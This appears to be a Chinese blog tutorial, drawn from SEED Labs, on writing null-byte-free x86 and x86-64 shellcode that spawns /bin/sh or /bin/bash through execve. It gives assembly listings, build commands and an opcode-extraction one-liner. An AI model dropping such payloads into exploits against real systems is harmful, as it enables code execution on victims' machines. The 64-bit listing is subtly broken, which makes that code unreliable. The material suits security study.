当前位置: 首页 > article >正文

从SEED-Labs实验到实战:手把手教你编写无零字节的x86 Shellcode(附完整代码)

从SEED-Labs实验到实战手把手教你编写无零字节的x86 Shellcode附完整代码当你第一次看到Shellcode这个词时可能会联想到某种神秘的编程黑魔法。实际上它是安全研究中最具实用价值的技能之一——一段能在漏洞利用中直接执行的机器码。不同于常规编程Shellcode编写需要直面处理器架构、系统调用和内存管理的底层细节而其中最经典的挑战之一就是消除零字节。1. Shellcode基础从概念到实践Shellcode本质上是一段能独立运行的机器码通常用于软件漏洞利用中。想象一下当你发现某个程序存在缓冲区溢出漏洞时如何让它在执行完我们的代码后还能继续正常工作这就是Shellcode要解决的问题。在x86架构下一个典型的Shellcode工作流程包括通过系统调用启动新进程如execve传递正确的参数和环境变量确保代码中不包含空字节0x00为什么零字节会成为问题因为在C语言中许多字符串处理函数如strcpy会将零字节视为字符串结束符。如果我们的Shellcode中间出现零字节复制操作就会提前终止。; 基础Shellcode示例执行/bin/sh section .text global _start _start: xor eax, eax ; 清空eax寄存器 push eax ; 字符串终止符 push //sh ; 注意这里使用两个斜杠保持4字节对齐 push /bin mov ebx, esp ; ebx现在指向/bin//sh字符串这段简单的汇编代码已经包含了Shellcode的核心要素系统调用准备、参数传递和栈操作。但要在实际漏洞利用中使用我们还需要解决零字节问题。2. 零字节消除实战技巧消除零字节不是简单的查找替换游戏而是需要对x86指令集有深入理解。下面是一些实用技巧2.1 寄存器操作的艺术与其直接使用mov eax, 0会产生0x00000000不如使用xor指令xor eax, eax ; 生成2字节代码31 C0无零字节当需要设置特定值时可以分步操作mov al, 0x0b ; 设置execve系统调用号仅影响AL寄存器2.2 字符串构造技巧对于/bin/bash这样的9字节字符串传统的4字节对齐方法会引入多余的斜杠。我们可以这样优化xor eax, eax mov al, h ; 单独处理最后一个字符 push eax push /bas ; 注意这里不需要额外斜杠 push /bin mov ebx, esp ; ebx现在指向正确的/bin/bash字符串这种方法不仅避免了多余的斜杠还确保整个过程中不会产生零字节。3. 参数传递与内存布局Shellcode最复杂的部分之一是正确构造参数数组和环境变量。让我们看一个执行/bin/sh -c ls -la的例子; 构造ls -la参数 xor eax, eax mov ax, la ; 16位操作避免零字节 push eax push ls - mov edx, esp ; edx指向ls -la ; 构造-c参数 xor eax, eax mov ax, -c push eax mov ecx, esp ; ecx指向-c ; 构造/bin/sh路径 xor eax, eax push eax push //sh push /bin mov ebx, esp ; ebx指向/bin//sh ; 构造argv数组 push eax ; argv[3] NULL push edx ; argv[2]指向ls -la push ecx ; argv[1]指向-c push ebx ; argv[0]指向/bin//sh mov ecx, esp ; ecx现在指向argv数组这种栈操作技巧是Shellcode编写的核心技能。关键在于按相反顺序压入字符串通过esp获取当前栈顶地址确保每个步骤都不会意外引入零字节4. 代码段存储技术除了栈操作另一种高级技术是将数据存储在代码段中。这种方法利用call指令的特性获取数据地址section .text global _start _start: jmp short data_section code_section: pop ebx ; 获取字符串地址 xor eax, eax mov [ebx7], al ; 在字符串后添加终止符 ; 其他操作... data_section: call code_section db /bin/sh ; 内联数据这种技术的优势是代码更加紧凑不需要复杂的栈操作数据与代码融为一体但需要注意代码段通常不可写在独立测试时需要特殊链接选项ld --omagic -m elf_i386 shellcode.o -o shellcode5. 64位Shellcode的差异迁移到64位架构时需要注意以下变化寄存器扩展为64位rax, rbx等系统调用使用syscall指令而非int 0x80参数传递寄存器不同rdi, rsi, rdx等; 64位Shellcode示例 section .text global _start _start: xor rdx, rdx ; 清空rdx环境变量参数 push rdx mov rax, /bin/bas push rax mov rdi, rsp ; rdi指向路径字符串 push rdx push rdi mov rsi, rsp ; rsi指向argv数组 xor rax, rax mov al, 0x3b ; 64位的execve系统调用号 syscall编写无零字节的64位Shellcode时要特别注意避免直接操作64位寄存器的低32位可能产生零字节使用8位al或16位ax寄存器操作处理小数据注意堆栈在64位模式下是8字节对齐6. 调试与优化技巧即使是最有经验的开发者编写Shellcode时也难免会遇到问题。以下是一些实用调试技巧使用ndisasm反汇编nasm -f bin shellcode.asm -o shellcode.bin ndisasm -b 32 shellcode.bin检查零字节xxd shellcode.bin | grep 00使用strace跟踪系统调用strace ./shellcodeGDB调试技巧gdb -q ./shellcode (gdb) break _start (gdb) run (gdb) x/10i $pc # 查看接下来的10条指令一个常见的坑是忘记考虑堆栈对齐。在32位系统中当压入不对齐的数据时编译器可能会插入填充字节意外引入零字节。7. 实战完整的无零字节Shellcode结合所有技巧下面是一个功能完整的Shellcode示例它执行/bin/bash且不含任何零字节section .text global _start _start: ; 构造/bin/bash xor eax, eax mov al, h push eax push /bas push /bin mov ebx, esp ; ebx指向/bin/bash ; 构造argv数组 push eax ; argv[1] NULL push ebx ; argv[0]指向路径 mov ecx, esp ; ecx指向argv ; 环境变量为NULL xor edx, edx ; 执行execve xor eax, eax mov al, 0x0b ; execve系统调用号 int 0x80编译测试这个Shellcodenasm -f elf32 shellcode.asm -o shellcode.o ld -m elf_i386 shellcode.o -o shellcode ./shellcode要提取原始机器码objdump -d shellcode.o | grep -Po \s\K[a-f0-9]{2}(?\s) | xargs echoShellcode开发是安全研究的基础技能从栈操作到寄存器管理每个细节都可能影响最终效果。记住最好的学习方式就是动手实践——修改示例代码尝试不同的系统调用逐步构建你自己的Shellcode工具箱。

相关文章:

从SEED-Labs实验到实战:手把手教你编写无零字节的x86 Shellcode(附完整代码)

从SEED-Labs实验到实战:手把手教你编写无零字节的x86 Shellcode(附完整代码) 当你第一次看到"Shellcode"这个词时,可能会联想到某种神秘的编程黑魔法。实际上,它是安全研究中最具实用价值的技能之一——一段…...

2023年最新YOLO模型对比:YOLOv7 vs YOLOX vs YOLOv5,哪个更适合你的项目?

2023年YOLO模型实战选型指南:从原理到落地的深度对比 在计算机视觉领域,目标检测一直是核心任务之一,而YOLO(You Only Look Once)系列作为其中的佼佼者,凭借其出色的实时性能赢得了广泛关注。2023年,随着YOLOv7的发布&…...

2026-04随笔记

2026-04-01因为前天工作卡住了,导致昨天没心情研究,一度以为我不适合这个工作,早上的时候回想了一下成功和失败的场景认真做对比细心分析发现一个 LoadBalance的ip没设置,虽然自动获取了,但是helm的其他地方也用了这个…...

新时达电脑调试软件上位机:支持256种全协议,便捷实现系统参数导入导出与备份

新时达软件上位机,256全协议 新时达电脑调试软件多协议,方便用电脑调试系统,可以从电脑导入 和导出参数到电脑保存控制柜前蹲半小时协议选错的痛,你懂不懂?U盘插了拔拔了插还是提示版本格式不匹配的烦躁,你…...

Claude Code教程(四)| Codex 配置(插件安装)

Claude Code教程(四)| Codex 配置(插件安装)一、核心定位(一句话看懂)二、前置准备(必做)2.1 核心环境要求(极简)2.2 关键说明(重要)三…...

提升 10 倍的学习效率,这款浏览器必装的AI插件为什么火了?

花了3 周时间写了一个浏览器插件,一个月陆陆续续下载量破 1000 啦 安装链接 为什么要做这个项目? 一开始我入门学习 langchain 大模型agent开发,在之前我不懂的问题需要在 google 上搜索非常多的资料 融会贯通以后才能得到答案&#xff0…...

【含文档+源码】基于Web的面对面爱心众筹平台的设计与实现

项目介绍本课程演示的是一款 基于Web的面对面爱心众筹平台的设计与实现,主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。1.包含:项目源码、项目文档、数据库脚本、软件工具等所有资料2.带你从零开始部署运行本套系统3.该项…...

HDMI数据的接收发送实验(八)

一、 概述 上一章节创建hex文件写入EDID编码,接下来我们需要把ROM中的数据通过IIC协议传输到HDMI中,为了能够更方便观察具体时序,我们首先模拟主机发送的IIC请求,这样可以根据仿真来观察IIC的传输过程。 二、模拟主机发送IIC时序 …...

别再乱选格式了!LVGL图片转换工具(lv_img_conv)保姆级使用指南,从BMP到C数组一次搞定

LVGL图像转换实战指南:从格式选择到批量处理的完整解决方案 在嵌入式UI开发中,图像资源处理往往是第一个技术门槛。许多开发者在使用LVGL时,80%的初期问题都集中在图像转换环节——为什么转换后的图片显示异常?如何平衡内存占用和…...

LeetCode 删除无效的括号:python 题解

简介 AI Agent 不仅仅是一个能聊天的机器人(如普通的 ChatGPT),而是一个能够感知环境、进行推理、自主决策并调用工具来完成特定任务的智能系统,更够完成更为复杂的AI场景需求。 AI Agent 功能 根据查阅的资料,agent的…...

如何用Dism++打造高效Windows系统维护工作流

如何用Dism打造高效Windows系统维护工作流 【免费下载链接】Dism-Multi-language Dism Multi-language Support & BUG Report 项目地址: https://gitcode.com/gh_mirrors/di/Dism-Multi-language Dism是一款功能全面的Windows系统优化与维护工具,通过直观…...

从零到集群:基于Rocky Linux ARM64的虚拟化平台构建与自动化部署实战

1. 环境准备与基础配置 第一次接触ARM64架构的虚拟化平台搭建时,我踩过不少坑。不同于常见的x86环境,Rocky Linux ARM64在驱动支持和软件生态上有其特殊性。我们先从最基础的物理服务器配置说起。 假设你面前是一台刚拆封的ARM架构服务器,我…...

一文学习 工作流开发 BPMN、 Flowable

一、简化查询 1. 先看一下查询的例子 /// /// 账户获取服务 /// /// /// public class AccountGetService(AccountTable table, IShadowBuilder builder) {private readonly SqlSource _source new(builder.DataSource);private readonly IParamQuery _accountQuery build…...

一次慢改表引发的线上死锁事故复盘

一次慢改表引发的线上死锁事故复盘 一、事故背景 在一次常规的数据库表结构变更过程中,对某核心业务表执行了慢改表操作(使用 pt-online-schema-change)。操作开始后,短时间内触发报警: 部分接口响应时间显著上升出现请…...

有些路看起来很难走,其实是在带你慢慢变强

生活里,很多人都希望自己走的是一条轻松一点、顺利一点的路。最好努力了就能有结果,付出了就能被看见,遇到的问题也都能很快解决。可真正经历过一些事情后才会发现,人生并不会总按照理想的节奏前进。很多时候,那些让人…...

突破可视化边界:Charticulator重新定义数据叙事的技术实践

突破可视化边界:Charticulator重新定义数据叙事的技术实践 【免费下载链接】charticulator Interactive Layout-Aware Construction of Bespoke Charts 项目地址: https://gitcode.com/gh_mirrors/ch/charticulator 在数据可视化领域,传统工具往往…...

【帮宝抑菌膏】宝宝额头起红疹子怎么办?宝妈必看的原因与护理指南

宝宝额头突然冒出一片片红疹子,不仅让宝宝难受哭闹,更让新手父母揪心不已。作为深耕母婴护理领域十余年的专业品牌,帮宝凭借丰富的育儿指导经验和科学护理方案,为宝妈们提供全方位的解决方案。当发现宝宝额头起红疹子时&#xff0…...

OpenCascade实战:TopoDS_Shape数据结构的高效遍历与优化策略

1. TopoDS_Shape数据结构基础解析 在OpenCascade中,TopoDS_Shape是构建三维模型的基石。这个看似简单的类实际上包含了三个关键数据成员:myTShape、myLocation和myOrient。理解这三个字段的运作机制,是高效操作模型的前提。 myTShape是一个智…...

用Multisim 14.0复刻经典:手把手教你搭建一个能校时的数字电子钟(附完整仿真文件)

用Multisim 14.0打造高精度数字电子钟:从原理到仿真的完整实践指南 在数字电路的学习过程中,没有什么比亲手搭建一个功能完整的数字电子钟更能检验学习成果了。这个看似简单的项目实际上涵盖了振荡器、分频器、计数器、译码显示和校时电路等数字电路的核…...

如何用Obsidian构建你的个人知识管理系统:终极完整指南

如何用Obsidian构建你的个人知识管理系统:终极完整指南 【免费下载链接】kepano-obsidian My personal Obsidian vault template. A bottom-up approach to note-taking and organizing things I am interested in. 项目地址: https://gitcode.com/gh_mirrors/ke/…...

Windows右键菜单终极清理指南:3步让你的右键菜单重获新生

Windows右键菜单终极清理指南:3步让你的右键菜单重获新生 【免费下载链接】ContextMenuManager 🖱️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager 还在为每次右键点击文件时弹出的杂乱菜单而…...

OpenClaw龙虾推出官方中国镜像站,由字节跳动提供支持

文章目录前言龙虾是谁?为啥它搞个镜像站这么重要?中国镜像站来了:地址是 mirror-cn.clawhub.com背后的故事:腾讯、字节、龙虾的"三国演义"镜像站的意义:不只是个"加速器"怎么用?手把手…...

如何用ContextMenuManager彻底掌控Windows右键菜单?4阶段优化法让操作效率提升300%

如何用ContextMenuManager彻底掌控Windows右键菜单?4阶段优化法让操作效率提升300% 【免费下载链接】ContextMenuManager 🖱️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager Windows右键菜单是…...

零下20度实测:国产SysMax PCAN FD在寒区标定中的稳定性与兼容性全记录

零下20度极限挑战:SysMax PCAN FD在寒区汽车电子标定中的实战全解析 当清晨的内蒙古满洲里气温骤降至-20℃,大多数电子设备早已进入"冬眠"状态,而我们的汽车电子标定工作却必须继续。在这个被称为"中国冷极"的地区&#…...

Oracle 数据库中的 REF 类型与触发器的使用

在 Oracle 数据库中,引用类型(REF)是对象类型之间关联的一种强大工具。特别是在复杂的企业应用中,REF 类型可以帮助我们建立对象间的引用关系,模拟现实世界的关系模型。本文将通过一个实际的例子,介绍如何在 Oracle 中使用 REF 类型,以及如何通过触发器(Trigger)来确保…...

如何快速配置跨平台鼠标连点器:终极效率提升指南

如何快速配置跨平台鼠标连点器:终极效率提升指南 【免费下载链接】MouseClick 🖱️ MouseClick 🖱️ 是一款功能强大的鼠标连点器和管理工具,采用 QT Widget 开发 ,具备跨平台兼容性 。软件界面美观 ,操作直…...

Qwen3.5-2B轻量模型评测:端侧推理延迟、功耗、准确率三维平衡点实测

Qwen3.5-2B轻量模型评测:端侧推理延迟、功耗、准确率三维平衡点实测 1. 模型概述 Qwen3.5-2B是通义千问团队推出的轻量化多模态基础模型,属于Qwen3.5系列的小参数版本(20亿参数)。该模型专为低功耗、低门槛部署场景设计&#xf…...

Pixel Aurora Engine部署案例:边缘计算设备(Jetson Orin)轻量化部署

Pixel Aurora Engine部署案例:边缘计算设备(Jetson Orin)轻量化部署 1. 项目背景与价值 Pixel Aurora Engine是一款基于AI扩散模型的创意工具,专为生成复古像素艺术设计。其独特的8-bit游戏风格界面和高效生成能力,使…...

新零售系统开发的关键要素

新零售系统开发需要整合线上线下资源,实现数据驱动的智能化运营。以下是核心开发要点:技术架构设计采用微服务架构实现系统模块化,支持高并发场景。前端可选用React/Vue构建跨平台应用,后端推荐Spring Cloud或Node.js。数据库根据…...

基于七自由度车辆模型的 UKF 与 EKF 参数估计之旅

基于七自由度车辆模型的UKF,EFK对质心侧偏角,横摆角速度,纵向车速的估计。 七自由度车辆动力学模型 UKF无迹卡尔曼滤波 EKF扩展卡尔曼滤波 质心侧偏角 横摆角速度 纵向车速 参数估计 提供参考文献pdf 车辆模型建模word文档 UKF学习文档等在车…...